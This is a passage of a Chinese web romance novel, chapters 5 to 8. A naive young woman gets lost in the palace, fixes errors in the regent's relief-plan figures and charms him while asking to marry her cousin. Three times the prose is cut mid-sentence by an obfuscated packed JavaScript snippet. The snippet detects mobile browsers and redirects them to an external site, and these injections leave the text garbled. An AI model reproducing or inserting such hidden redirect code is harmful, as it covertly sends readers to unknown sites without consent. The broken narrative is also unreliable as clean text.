“那边好大一片湖，我想去那边。”唐兮暖眼睛亮晶晶的，跳着脚指着远处，心情明媚，白里透红的脸颊散发着几分不太正常的粉色。 “好，我带你去。” 在唐兮暖来之前，楚衍晴正和几个熟悉的官家女子聊天。 走之前，拉着表姐给几个人介绍，待打完招呼，客气道：“我和表姐去湖边看看，你们先玩着，我一会儿过来找你们。” 这其中就有魏国公的小女儿，魏敏娴。 也就是哥哥挑中的正妻人选。 确实是一位温柔贤惠、聪敏端庄的女子。 楚衍晴不得不承认，她其实也很喜欢这样的女子。 只不过对方要抢走的是表姐的身份。 她心里不舒服而已。 “衍晴——” 楚衍晴拉着表姐才走出两步，魏敏娴忽然喊住她，“我跟你们一起去，”她一边走，一边跟身边的小姐妹解释，“听说湖里养了很多漂亮的锦鲤，我过去看看。” 听说有漂亮的锦鲤，大家都跟着来了。 “我们也去。” “我们也去。” 一行人很快来到湖边，楚衍晴一直拉着唐兮暖没敢松手，生怕这宫里人生地不熟，把人丢了。 可唐兮暖像个小孩子，蹦蹦跳跳什么都喜欢，什么都想凑近看一看。 而且她精力旺盛，楚衍晴跟了一会就受不住了。 “表姐，咱们坐这里休息一会儿吧。” 唐兮暖还没玩够，不过表妹累了，她只好安安静静坐在假山上。 小公主刚才接了几位重要的客人，这会带过来给大家见面。 其中一位还是西域的公主。 原本是送过来给皇上充盈后宫，负责和亲的。 不过皇上重病多年，近一年一直躺在床上，清醒的时候都很少。 这和亲之事便耽搁下来了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189250|181050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 小公主今天请了几十位皇家、官家的小姐，完全是为了她二哥那个老光棍。 长兄就是皇上，只有一个女儿。 二哥、三哥全都未婚。 这大周朝的江山，三个哥哥全都不急，只有她这个小妹坐不住。 今天无论如何都要逼着二哥留下一两个。 她刚才接贵客只是顺路，请二哥和三哥过来才是真。 三哥倒是答应的很痛快。 可二哥直接黑脸把她赶出来了。 还说什么，婚事不用她操心。 她不操心，这大周朝的江山以后传给谁！ 实在没办法，她只能先过来接待客人，一会儿再想办法请二哥过来。 “衍晴、敏娴你们在这呢，”小公主的心里还是比较中意这两个人的。 一个是侯府的三小姐，一个是国公府的三小姐。 两个人的容貌才情都是上品。 如今皇上病重，又没儿子，二哥以摄政王之身处理朝政。 进门便是摄政王妃，未来的中宫皇后。 这不止关系二哥一个人的幸福，还身系处理后宫，做天下女子表率的重任。 没有足够的才情和贤良的品德，是没办法胜任的。 小公主任务艰巨，把今天邀请的几十名贵女资料研读了好几遍。 今天见到本人又亲眼盘复一遍。 最后将目光落在楚衍晴和魏敏娴两个人身上。 只要二哥点个头，今天就能把亲事定下来。 “朝栎公主，”所有贵女见到小公主，一起俯身行礼。 唐兮暖不懂宫里的规矩，不过昨天表妹教过她。 还记得见到公主要行礼，不过反应慢了半拍，等所有人行完，她才俯身学着表妹的样子行了礼。 朝栎公主自然注意到了。 “这位是……” 楚衍晴解释道：“这是我表姐，平时极少出门，听说公主邀请小姐妹过来玩，我便自作主张带了过来，还请公主恕罪。” 朝栎是个宽容的性子，尤其唐兮暖又是一位美人，凭白惹人怜爱，为了二哥的婚事，自然是来的贵女越多越好，她有什么不欢迎的。 “这位妹妹……”恍惚想起楚衍晴喊她表姐，应该比自己大，“这位姐姐真是花容月貌、冰肌玉骨，我竟然没见过，衍晴这可就是你的不对了，怎么以前没见你带出来玩。” 楚衍晴解释道：“我表姐性子闷，不怎么喜欢出门，今天还是我拉她出来的。” 朝栎公主还真是喜欢唐兮暖的长相。 光放在面前就觉得养眼。 二哥是当朝摄政王，又不是只能娶一个王妃。 “表姐应该还没订夫家吧，我二哥哥一会儿过来……” 楚衍晴担心公主拉郎配，急忙解释：“我表姐……已经有了心上人，不敢劳公主思虑。” 摄政王是什么人，吃人不吐骨头的暴君。 为什么老大不小还没娶亲，不就是正常人家的姑娘都害怕吗。 朝栎还以为楚衍晴有私心，自己衷情她二哥哥，担心表姐长得太美挡了她的路。 直到身边有清楚内情又和侯府不睦的贵女，靠近她低声解释。 “小公主，楚家表姑娘是个傻的。” 小公主一惊，不由得多看两眼唐兮暖。 长这么漂亮的一个姑娘，竟然是傻的。 难怪没见楚家人带她出来过。 可惜了。 5. 第 5 章 朝栎公主要给王兄选妃的心思，今日进宫的大部分贵女都清楚。 皇上卧病在床一年有余，只有一个女儿，摄政王继承皇位，几乎板上钉钉的事。 今天的摄政王妃，明天就可能母仪天下。 谁不想抓住这个机会。 不过在发现朝栎公主对几名贵女特别热络的时候，其她被冷落的女子心里便明白，她们多半是没机会了。 好不容易来宫里一次，不好好欣赏一下美景可惜了。 有性子淡然或者家里已经有打算的姑娘开始三人一群两人一伙的去欣赏美景。 也有人为自家兄弟张罗，看中哪名女子，便主动过去接触。 如果被摄政王选中，只当多交个朋友。 如果没被选中，正好提给家里的兄弟。 楚衍晴没想过进宫，对朝栎公主的心思也不感兴趣，她满心里只有不懂人情世故的表姐，二姐姐把人交给她，她必须完完整整给人带回去。 魏敏娴对进宫的事情也不怎么热情。 皇上虽然没儿子，可皇上有不少兄弟。 摄政王确实赢面最大，可谁知道有没有变数。 自古皇权更替，极少有平稳度过的。 她家有从龙之功，只要不作死就能保住荣华富贵，没必要趟这趟浑水。 而且，她已经有了倾心之人。 陪着朝栎公主聊一会儿，便把目标放在了楚衍晴身上。 “衍晴，你哥最近是不是比较忙？” 楚衍晴心口莫名泛起一股酸涩。 昨晚兄长就在母亲面前提了，心仪魏国公家的三女儿。 今天女方又主动问过来。 原来竟然是郎有情妾有意。 注意到表姐蹲在湖边逗鱼，看向魏敏娴眼神便有些复杂。 “我哥啊，他是挺忙的，毕竟年轻，朝廷交给他那么重的担子，他也得有个适应过程。” 魏敏娴眼里漾着笑意，真心夸道：“按理像你哥这种，什么都可以不做，可他还这么努力，这在富家子弟中可是极其难能可贵的。” 楚衍晴心情越发不爽。 她明白魏敏娴看中她哥踏实努力有才是一方面。 关键的是，侯府就一个儿子。 承袭爵位毫无意外。 想到兄长对表姐的态度，心里忽然升起一股恶念。 “嗨，我哥能力确实不错，办差也肯用心，就是私生活……” 她欲言又止，魏敏娴不好明着问，拐弯抹角地说道，“楚世子清贵淡雅，人品没得说，私生活怎么可能有问题。” 楚衍晴躲开其她贵女，凑近她压低声音道：“我哥前几天才把一个丫鬟弄怀孕了，这还没议亲就搞出这种事，我娘都气坏了，我哥也是心狠，一碗堕胎药下去，那丫鬟疼了半死，之后被人拖出去了。” 凡是世家贵族家的公子，不管私生活怎么混乱，正妻进门前，绝对不能闹出孩子。 这是官宦之家的大忌。 她就不信，魏敏娴听说这种事后，家里请人上门提亲，魏敏娴还能答应。 果然她这话一出口，魏敏娴脸色大变。 到底是国公府的小姐，脸色虽然不好，可还保持着足够的体面，竟然和她说：“楚世子人中龙凤，风流也是正常的。” 楚衍晴险些没吐出去。 又恶心魏敏娴几句，忽然想起表姐，赶紧去找。 明明刚才还蹲在湖边逗弄锦鲤的人，这会竟然不见了踪影。 几乎是一瞬间，楚衍晴心口冰凉。 “表姐——” “表姐——” 楚衍晴见人就问，“有没有看见一个这么高，身穿蓝色褂子的姑娘？” 好不容易进宫，大家都有目的，竟然没人看见唐兮暖。 这深宫内苑，到处都住着贵人，楚衍晴慌得六神无主，万一冲撞哪位主子，可不是闹着玩的。 “怎么了？”魏敏娴关心道。 楚衍晴忙着找人，抽空回道：“我表姐不见了，刚才还在湖边逗鱼呢。” “我帮你一起找，”魏敏娴毫不犹豫地加入找人队伍。 楚衍晴感激地看了她一眼，“谢谢你。” 宫里太大，和迷宫似的，别说唐兮暖第一次进宫，就算经常进宫的人都容易迷路。 楚衍晴找了一碗茶的时间都没找到，也是急了，只能向朝栎公主求救。 朝栎公主二话不说，立刻派人去找。 “你放心，肯定能找到的，不会出事的。” 不是唐兮暖故意乱跑，她刚才确实蹲在湖边逗鱼，可忽然飞来几只蝴蝶，她心里欢喜，追着蝴蝶而去。 哪知道蝴蝶没抓住，她竟然迷路了呢。 冲着太阳走一会儿，见不到表妹人影，背着太阳走了很久，也没找到表妹人影。 偏偏刚才那几只蝴蝶都不见了。 她急得想哭。 明明答应好表妹不乱走的，她也牢牢记着这事，还是丢了表妹。 想要找人问问路，偏偏没有人告诉她。 “你有没有见过我表妹啊，她穿紫色衣服呢。” “没有，没有，姑娘往那边去找找呢。” 唐兮暖顺着宫女手指的方向，心里莫名生出一线生机，急急忙忙跑过去。 可刚才的小湖和假山都不见了，锦鲤也没了，表妹更是不见踪影。 好在凭空出现一座宫殿，她也没注意上边的牌匾，提着裙子踩着轻盈的步子便跑了进去。 “有人吗？谁能帮我找找表妹呀？” “有没有人？” 说也奇怪，偌大的宫殿空荡荡的，竟然没有一个人回应她。 唐兮暖一心要找人问路，在外间看见不人，很自然地进里间寻找。 宫殿太大，屋子又多，她绕来绕去，一时间连从哪个门口进来的都忘记了。 唐兮暖敲了敲小脑袋，努力安抚自己，“暖暖啊，你很聪明的，一定能找到出去的路，一定能找到表妹，一定能找到表哥，对了，表哥……” 表哥进宫办差，她来的也是皇宫，会不会看见表哥？ “表哥——” “表哥……” 这里是皇宫，楚衍诺办差的户部在皇宫西侧，一公里左右，步行大约一盏茶的时间。 唐兮暖哪里分得清楚。 平时只听表哥跟她说进宫办差，她便把这两个地方理解成了一个地方。 可惜她喊了好一会儿都没听到表哥的声音。 有点失落，她像盲人摸象似的，继续找人问路。 误打误撞的竟然进了谁的书房。 一间比她所住的翠竹园所有房间加起来还大的屋子，三面墙摆满了各种书籍。 她仰起头都看不清最上排。 北墙下是一张偌大的红木书桌，上边杂乱无章的扔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189251|181050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着许多书籍和册子。 地上到处都是写满字的纸张。 她没注意到，就连她脚下都踩着一张。 唐兮暖有些可惜，这屋子的主人并不是一个爱书之人，可惜了那么多好书。 她有心找几本自己喜欢的，可又念着要找表哥的事，打算转去别的地方。 却不想走时注意到桌角下的一张纸上竟然有三笔算错的数据。 她不由得弯腰捡起。 是什么人算的救灾土地面积。 一块圭田（等腰三角形），两块邪田（直角梯形）竟然全部算错了。 这么简单的数据竟然都会算错。 唐兮暖觉得，这人也太笨了点，她一眼就能看出来呢。 实在手痒难耐，她将纸铺在桌子上，把砚台从一堆文件里扒拉出来，用毛笔沾了墨，将纸上的错误数据圈起来，然后在旁边写上正确的数据。 注意到桌子上还有很多错误数据。 大都是计算土地面积，救灾人数，所耗农具、粮食、银钱的。 她一张一张的翻阅，一张一张的修改成正确数字。 甚至连户部呈上来的三份救灾方略她都翻阅一遍，将里边的错误修改过来。 三份方略大相径庭，经过她修改的数据，却意外和谐。 达到完美的一致。 刚才杂乱无章的书房，几乎被她清理干净，此刻规矩整齐的摆在书桌左侧，形成厚厚的三大摞。 唐兮暖看着自己整理出来的成果，终于露出了满足的微笑。 她不由得伸了个懒腰，肚子忽然咕噜噜叫了起来。 不知不觉两个时辰过去，她竟然都没意识到，还以为自己最多只来一盏茶的时间。 “好饿，”唐兮暖揉了揉小肚子，从太师椅上滑下来，打算找点吃的。 “想吃什么？” 一道陌生的低沉的男声，忽然从身后传来，吓了唐兮暖一跳。 待她看清楚对方只是一个人后，拍了拍胸脯，“你好吓人。” 随即向那人告状，“这里不知道谁的屋子，他好笨哦，这些文件，每一页都有错……” 很快又得意起来，小小的粉雕玉琢的脸颊上，满是骄傲的笑，“不过都被我改过来了。” 他好笨…… 唐兮暖身边的男人，脸上闪过一丝不易察觉的复杂神色。 他垂眸盯着这个胆大包天的小姑娘。 门口的端王和一众宫女侍卫，全都要吓死了。 端王是皇上的亲弟弟，身份尊贵，倒也不怕这种小场面。 他只是可惜屋里这个美得仿佛天仙似的小美人，用不了多久就要死在他二哥的手下了。 他二哥可不是什么怜香惜玉的男人。 这些宫女侍卫，全部吓得魂不附体，乌泱泱跪了一地。 今天小公主宴请众多贵女，她们都被叫到一起简短交代些规矩。 回来就看见有人坐了摄政王的王椅，拿了摄政王的毛笔，还动了摄政王的书桌，文件。 按理，他们出去开会，是要留人值班的。 可摄政王的宫殿是宫里的禁地，哪个不长眼的人敢随便进来。 这一大意，竟然就有胆大包天，想要勾引摄政王的女子闯了进来。 完了，完了，赶紧祈祷祖宗保佑留个全尸吧。 用不了多久，摄政王就得把他们全部拖去乱坟岗处理掉。 6. 第 6 章 端王连皇上都不怕，单单怕这个阴晴不定，杀伐果断，心狠手辣的二哥。 如今皇上卧病在床，朝廷打了几十年仗，去年才彻底结束战乱。 他二哥十三岁带兵，战场杀伐了十几年，早就练就一副铁石心肠。 前段时间有个宫女不怕死爬上他的床，当时就被他命人处死了。 在他心里，根本就不知道女人为何物。 否则小妹也不至于把京城所有未定亲的贵女邀请进宫，就为了给他这个不开窍的二哥找个女人。 刚才他和二哥会同六部开了个会。 回来有一个多时辰了。 摄政王的书房，可以说朝廷最机密的地方。 竟然闯进一个不知死活的小丫头。 还敢坐到他二哥的王椅上。 用他二哥的笔在他二哥的各种文件上涂涂画画。 这不被剥皮抽筋都不是他二哥的所为。 他当时本想拦着二哥。 肯定是妹妹邀请进宫的贵女，不是皇亲国戚，也是重臣之女，仰望摄政王的风采，胆大包天走点邪路也不是不能理解。 就当给朝臣一个面子，小妹一个面子，责骂一顿也就是了。 可惜他二哥先一步进了书房。 眼看着他二哥黑着脸，全身都携着寒气，一步一步走到书桌旁，身后的宫女太监跪了一地，吓得大气都不敢出。 “二哥……” 阻止的话还没出口，忽然看见二哥摆手示意他不要出声，只能停在门口，为屋里大胆的小丫头默哀。 血腥暴力的场景很快浮上脑海，他甚至都闭上了眼睛。 却不想屋里一直很平静，平静的他都以为自己出现幻觉了。 再次睁开眼睛，小姑娘还坐在二哥的椅子上，专心致志地涂画着什么。 阳光透过窗子，落在小姑娘娇美的容颜上。 时不时拢一下头发。 她好像跟这个世界隔绝了一般，一直沉浸在自己的世界里。 画面格外和谐而美好。 而他那个杀伐果断、心狠手辣的二哥，竟然站在小姑娘身边，一直盯着她写写画画。 端王一直担心，下一刻二哥就会伸出他的钢筋铁手，将小姑娘掐死在王椅上。 可这个下一刻，他竟然等了一个多时辰都没到来。 直到小姑娘从椅子上滑下来，喊着好饿，他那个不近女色的二哥，意外问她想吃什么。 声音是他从来没听过的温柔宽容。 这是……万年铁树开花了？ 他赶紧摆手，示意太监准备膳食。 跪了一地的宫女太监，仿佛找回了魂魄，急急忙忙爬起来跑向摄政王的小厨房。 很快端过来十几道菜。 摄政王吃东西简单，平时是没有这么丰盛的，不过今天宫里招待贵女，以备不时之需小厨房才准备多些。 之后端王就看见，万年冰山面对女人连个笑都不会露的二哥，竟然亲自把他的书桌收拾干净，命人把饭食直接摆在了书桌上。 端王：“……” 唐兮暖早晨就没吃多少东西，担心进宫后不方便。 算起来，至少过去三四个时辰了。 看见食物，她也不知道客气，捏起来就往嘴里填。 果然是宫里的食物，虾仁好吃，牛肉好吃，蘑菇也好好吃。 她一连吃了小半饱才注意到旁边有人盯着他。 “你要吃吗？” 她捏着牛肉干送到摄政王嘴边。 这个男人一直盯着她看，肯定是饿了。 “别客气，我请你。” 自觉还算见过世面的摄政王：“……” 这是他的地盘，也不知道哪冒出来的小姑娘，吃着他的饭菜，说着要请他吃饭的话。 “我……吃过了。” 唐兮暖不再理他，一直填饱肚子。 她擦了擦手，有些痛苦的捂着肚子看向摄政王，“我要嘘嘘。” 摄政王颇有见识地摆摆手，自有宫女伺候着唐兮暖出去方便。 端王终于逮到机会开口了，“二哥，你对这个姑娘是不是……” 收到二哥一个冷刀子眼，赶紧闭嘴。 不过没闭多久，又忍不住问：“她都在你文件上写什么了？” 摄政王随手找出两份文件扔给他，“自己看。” 端王简直不敢相信自己的眼睛，“她懂算学？” 摄政王若有所思地点了点头：“看起来是这样。” 如果不是亲眼所见，端王根本不敢相信。 大周朝打了几十年的仗，险些灭国，连科举都停了十多年。 最后一次科举都把算学科目取消了。 这朝廷早已出现人才断代。 兵部、工部从上到下，全都是从军中调过来的，字都不识几个，别说算学了。 户部、礼部、吏部、刑部，几乎全是皇亲国戚、朝中大臣举荐的。 都是些不学无术的纨绔子弟。 写个文章，夸一下朝政，斗个嘴，搞点娱乐活动，那是一个比一个漂亮。 真让他们干点实事，一个比一个躲得快。 别说算学，就平时收个税银，发点福利，都能弄错。 否则为了安置几万灾民，户部也不会搞出好几方案，弄得摄政王发了好几次火。 今天竟然看见一个小姑娘，把户部研究了半个多月的方案修改正确。 不管是端王还是摄政王，都被震惊到了。 “二哥，会不会是我们两个看错了？户部这些大臣都争得头破血流，谁也不相信谁的结果，她做的真是对的？” 摄政王从能拎起枪就一直纵马疆场，读书识字还是抽空学的。 对于算学更是一窍不通。 不过摄政之后，屡屡遇到麻烦，才开始涉猎一些。 可也就是一个入门阶段。 但他刚才盯了一个多时辰，确定小姑娘不是随便写的。 几个简单的问题他也心算了一下，和她修改出来的结果是一样的。 “一会找户部核对一下。” 大概一炷香后，唐兮暖又被带了回来。 宫女体贴的熏了桂花香，她身上香喷喷的。 从小到大，她一直想什么就做什么，从来不知道客气，也不知道什么叫客气。 这屋里摆了很多书，有好几本她都喜欢。 此刻看着摄政王，大大方方的问：“我能跟你要几本书吗？” 摄政王还算大方：“想要哪本？” 唐兮暖张开手臂，“抱抱。” 她看中的几本书摆的太高了，她够不到呢。 她声音软软的含着几分糯糯的味道。 摄政王：“……” 端王一个没绷住，笑出了声。 此时饭菜已经被宫女收拾下去，屋里只有他们三人。 端王识趣的退到门口。 摄政王稍一犹豫，俯身把人用公主抱的姿势抱起来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189252|181050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >嗅到小姑娘身上的香气，耳根不自然红了。 唐兮暖没有一点不好意思，她认认真真纠正，“不是这样抱抱呢。” 摄政王急忙把人放下。 唐兮暖指着头顶上的书，“我够不到。” 摄政王冰冷的脸上闪过一丝不自然的尴尬。 他重新把人抱起来。 这次他抱的是腿，“坐我肩膀上。” 久经战场的人，身体硬朗，唐兮暖被他抱得稳稳的。 就坐在他的右肩上。 两脚晃荡在他的小腹上。 她先拿了一本《九章算术》，端王赶过去接过来。 唐兮暖指着右边一手臂远的地方，“那里。” 摄政王依言走过去，唐兮暖拿下一本《数学/运算》。 接下来又拿了几本，《孙子算法》、《周髀算经》、《游珠算盘》都是算学相关的书籍。 其实侯府也有，唐兮暖都翻烂了。 可她手里的不是原本，标注也不算全面。 她想看看其它版本什么样。 “好了。” 唐兮暖不贪，找到自己想要的便抓着摄政王的手跳到了地上。 摄政王难得细心了一回儿，做出防止她摔倒的动作。 不过很快恢复正常。 “这几本书，我都能拿走吗？” 摄政王是有些心疼的。 这戏书都是孤本，他如今又在学算学，这些书都是无价之宝。 可小姑娘想要，他再搜罗便是。 “能。” 唐兮暖高兴了，“你人真好，第一次见面就送我这么贵重的礼物。” 端王心说：都是你自己要的好不好。 摄政王倒也大方：“姑娘客气了。” 如果说刚才他怀疑小姑娘在他的文件上乱涂乱画，这会看她选的都是算学书籍，完全相信了她有这个能耐。 如果只用两个时辰就解决了好几个部门半个月都没弄好的东西。 确实帮了他大忙。 “刚才你帮我整理文件，”摄政王斟酌着开口，“解决了我一个大麻烦，现在你可以向我提一个要求，我会尽力帮你达成。” 唐兮暖正在翻阅她刚拿下来的书。 听见摄政王跟她说话，笑得甜甜的看向他，“什么要求都能行吗？” 摄政王毫不犹豫点了点头。 端王盯着小姑娘，不用她开口，已经猜到她想做什么了。 这么费心思的跑进摄政王的书房，又是帮忙修改文件，又是让他抱的，还不是想做他的女人。 不过小姑娘确实聪明，有这个底气。 做摄政王妃可能不行，但做个侧妃还是可以的。 为马上就要有二嫂了而感到开心的端王，忽然听到小姑娘软软糯糯的开口，“我想要名分。” 端王又笑开了，就知道小姑娘的心思，故意过来勾引他二哥。 毕竟这大周朝最尊贵的男人就是他了。 摄政王的一双黑眸隐隐浮现出笑意。 却听小姑娘补充道：“我想要表哥给我名分。” 唐兮暖记得二姐姐的叮嘱，名分才是一个男人能给女人的最好保证。 她现在什么都不求，只求表哥娶她，给她名分。 端王：“……” 皱眉看向二哥，刚才还很温柔的男人，忽然变得一脸寒冰。 也是，第一次接触女人，就被狠狠刺了一刀。 这谁能受得了。 7. 第 7 章 唐兮暖跟当朝一言九鼎随便挥挥手指便可让人站到权利巅峰的摄政王提出只想让表哥给她一个名分。 摄政王什么心情，端王不知道。 但他的拳头已经攥了起来。 “小姑娘，欲擒故纵？” 唐兮暖确定这个十分花哨的男人在说自己的时候，恰好她明白欲擒故纵什么意思。 “想捉住他，却故意先放开，想更好的控制而故意放松一步，你是想让我先放开表哥吗？可是我害怕表哥不要我呢。” 整个书房的空气骤然降低，端王感觉身边的二哥仿佛变成了一块冰。 偏偏小姑娘说的自然，她一双眼睛既澄澈又清明，仿佛根本不懂端王的意思，却又给出了字面的解释。 端王使劲抹了把脸，“二哥，要不你先休息，我把这姑娘送出去。” 他怀疑小姑娘再待下去，非得香消玉殒在这里。 “表哥是谁？”一直沉默冷着脸色的摄政王忽然开口。 提到表哥，唐兮暖白皙的小脸上浮现出一抹羞涩的红晕，“他是武安侯府的世子，是我表哥呢。 对了，我就是来找表哥的，我迷路了，找不到他，你们能帮我找到他吗？” 端王：“……” 摄政王无端笑了一下，他把所有算学相关的书籍从唐兮暖怀里一本一本抽走。 “帮你找到表哥可以，但是让他娶你……我做不到，这些书都是孤本，没办法送给你，如果你想看，可以随时来这里。” 他将所有的书都收回来，全部放到书桌上。 随后从腰上扯下来一块玉佩，抓过唐兮暖的手，放到她手心上。 “除了让表哥给你名分这件事，你可以向我提任何要求，我都会帮你做到。” 唐兮暖瘪了瘪嘴，书被抢回去了，小气鬼。 又做不到让表哥娶她，还以为有多大能耐。 也是，他连那么简单的算学题都不会，应该是个比她还笨的大笨蛋。 不管怎么说，他送给自己一块玉佩呢，还是安慰安慰他吧，“我知道你不聪明，也没什么能耐，不过你长这么高大，身体一看就很好，总能混口饭吃的，别伤心。” 摄政王：“……” 端王彻底绷不住了，忽然大笑起来。 摄政王头疼的摆了摆手：“送他去户部，见到他表哥只说她迷路了，其余的事情一个字都不要说。” 待端王带着唐兮暖出门，摄政王威严扫了一眼门口的宫女太监。 “今天的事情胆敢传出去一个字，全部乱棍打死！” “奴婢知道了。”所有宫女太监慌忙有序的磕头。 路上唐兮暖化身好奇宝宝，问了端王很多问题。 “你为什么出现在皇宫？” “我表哥办差的地方很远吗？” “你和刚才那个人什么关系？” “为什么他不来送我？” “你很闲吗？” “他送我这块玉佩很贵重吗？” “对了，我就这样接了，都没推辞，会不会不好？” “表哥告诉我不能随便要别人的东西，可我第一次收到外人的礼物，觉得好开心呢！” …… 端王像哄小孩子似的，选择着回答她的问题。 很快把人送到户部。 楚衍诺还在发愁救灾的事情，方案给出好几套，摄政王没有一套满意的。 他这两天累得筋疲力尽。 忽然听见一道熟悉的声音：“表哥——” 他下意识看过去，就见表妹身穿蓝色锦缎华服俏生生的站在不远处向她摆手。 笑意逐渐蔓延开来，他大步走过去，“你怎么来了？” 唐兮暖忽然想起一件很重要的事情，她使劲敲了敲自己的脑袋。 急得眼泪都快流出来了。 “表哥，我把表妹丢了。” 楚衍诺一瞬间便明白了什么意思，“是你和三妹走散了吧，在宫里？谁送你过来的？” 到底是从小一起长大的表兄妹，唐兮暖只要提个开头，楚衍诺便能猜到其中的经过。 唐兮暖回头看向端王：“是这位哥哥送我来的。” 楚衍诺这才看清楚站在表妹身后金尊玉贵的端王。 “端王，”他先行拱手礼，随后道谢，“表妹不了解宫里情形，冲撞了王爷，还请王爷见谅。” 端王也不是不认识楚衍诺，只是今天忍不住多打量一会儿。 “举手之劳，正好我来户部有事，这位姑娘就交给你了，告辞。” 端王转身要走，楚衍诺却赶过去，请求道：“我三妹肯定还在找表妹，烦请端王帮我转告她，表妹我带走了，让她放心。” “好，”端王心里不爽，倒也没拒绝。 他假装取走一份文件，回了皇宫。 刚进宫没一会儿，正好碰见行色匆匆急得六神无主的楚衍晴。 “楚三小姐——” 楚衍晴没看见端王，她现在满脑子都是表姐。 眼看着天都快黑了，所有贵女都得尽快离宫，再找不到人，表姐就得留在宫里一宿，明天她才能想办法再进来。 再者宫规森严，他们侯府又不是什么皇亲国戚，能不能进来还不一定。 这宫里就是权利最集中也是最黑暗的地方，死一个人比普通人家死只小猫小狗还不如。 “表姐——哎吆——” 楚衍晴忽然撞到什么，一边往后退一边道歉，“对不起，对不起，我……端王？” 楚衍晴竟然碰到这个瘟神，硬着头皮俯身行礼，“见过端王。” 端王往前走了一步，忽然捏住她的下巴，逼着她抬头，“我妹妹今天邀请那么多贵女进宫，你应该知道什么意思吧？” 楚衍晴当然知道，可她不想和端王过多来往，故意说：“公主邀请我们进宫赏花。” “只是赏花？”端王面对着她这张脸，恨得咬牙切齿。 楚衍晴伸手推他，却又不敢太用力。 “都是我不好，冲撞了端王，还请端王宽恕。” 端王可不信她嘴上说的，“实话告诉你吧，小妹邀请了那么多贵女，无非是担心我和我二哥的婚事，我也不瞒你，本王看上你了，想不想做本王的王妃？” 要说大周朝这些王爷，最好色的就是这个端王。 楚衍晴脑子又不是有问题，“感谢端王厚爱，端王的王妃哪个女子不想。” 这话听着还不错，端王松开了她，“既然想，就等本王上门提亲吧。” 楚衍晴咬了 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找了两三个时辰，快吓死她了。 “谢谢端王，天色不早了，我去跟公主打声招呼就出宫了，改日见。” 她溜得比兔子都快。 如果不是担心表姐，以后还要求着端王帮忙，她连话都不想说。 端王看着楚衍晴逃开的情景，愤愤地哼了一声。 又不是养不起她。 嫁进王府享受荣华富贵，不比嫁给一个只守着她的普通男人强。 见识浅薄的女人。 摄政王周川行命人带上所有救灾文件，打算去户部连夜定下灾民安置政策。 十万灾民不安置好，到了秋天填不饱肚子，可就是十万叛贼。 大周朝打了几十年仗，国库空虚，民生凋零，再也经不起任何风吹雨打了。 如今所有数据都整理通顺，顺利的话，明天早晨便能执行。 出门的时候，正好碰到端王回来。 “二哥，去户部？” 周川行心情不佳，淡漠的嗯了一声。 端王犹豫着，问道：“你是不是看上刚才那个丫头了？” 周川行没说话。 端王攥了攥拳头，“喜欢就抢过来啊。” 周川行否认道：“你想多了。” 端王才不这么觉得，两个人可是亲兄弟，虽然这些年接触不多，毕竟周川行都在外带兵打仗，可到底是同父同母的亲兄弟。 “还说不喜欢，你把那些书留下来，让她随时进宫来看，不就是想看见人家？” 周川行凉凉地瞥他一眼，“差事都办好了？” 端王知道二哥心情不好，赶紧溜之大吉。 “还没，二哥，我先去办差了，晚点见。” 周川行到户部的时候，楚衍诺刚好出门，不过跟户部尚书请过假了，送表妹回家。 周出行将改好的几套方案扔给户部尚书。 “把人叫回来，还有两位丞相，今天必须定出方案。” 无数将士用鲜血和生命换来的休战，无论如何，都要将这些不安定的种子摁在萌芽阶段。 8. 第 8 章 楚衍诺亲自把唐兮暖送回去。 轿子里，楚衍诺一手拥着她，一手捏了捏她的小鼻子，眼神里充满宠溺。 “告诉你不许出门，不听话！” 唐兮暖意识到自己做错了事情，表现乖乖的，“可是我留在家里好没意思，表哥都没时间陪我呢。” “这段时间朝廷忙着安置灾民，表哥实在抽不开身，表哥跟你保证，忙过这段时间一定会好好陪你。” 唐兮暖开心了，“那我想出去踏青，去寺里拜佛，去戏楼听戏，表哥你都带我去好不好！” “好，”楚衍诺毫不犹豫答应下，“等表哥一忙完就带你去。” 好不容易和表哥在一起，唐兮暖一下提了很多要求。 楚衍诺都一一答应着。 唐兮暖好久没这么高兴了，“表哥，你对我真好。” “知道就好，”楚衍诺满眼都是这个惹人怜爱的小表妹，伸手将她的乌发整理顺溜，“表哥对你这颗心，天地可鉴，只要你乖乖听话，表哥这辈子都会把你捧在手上。” “我乖，我乖，”唐兮暖举着小手保证，“我肯定乖乖的，表哥说什么我都努力记在心里呢，保证乖乖听话。” 楚衍诺颇有些无奈道：“真乖，今天怎么跑丢了？” 唐兮暖试图解释清楚：“人家想去你办差的地方看看嘛，谁知道皇宫那么大的，我走着走着就迷路了，找得你好辛苦。” 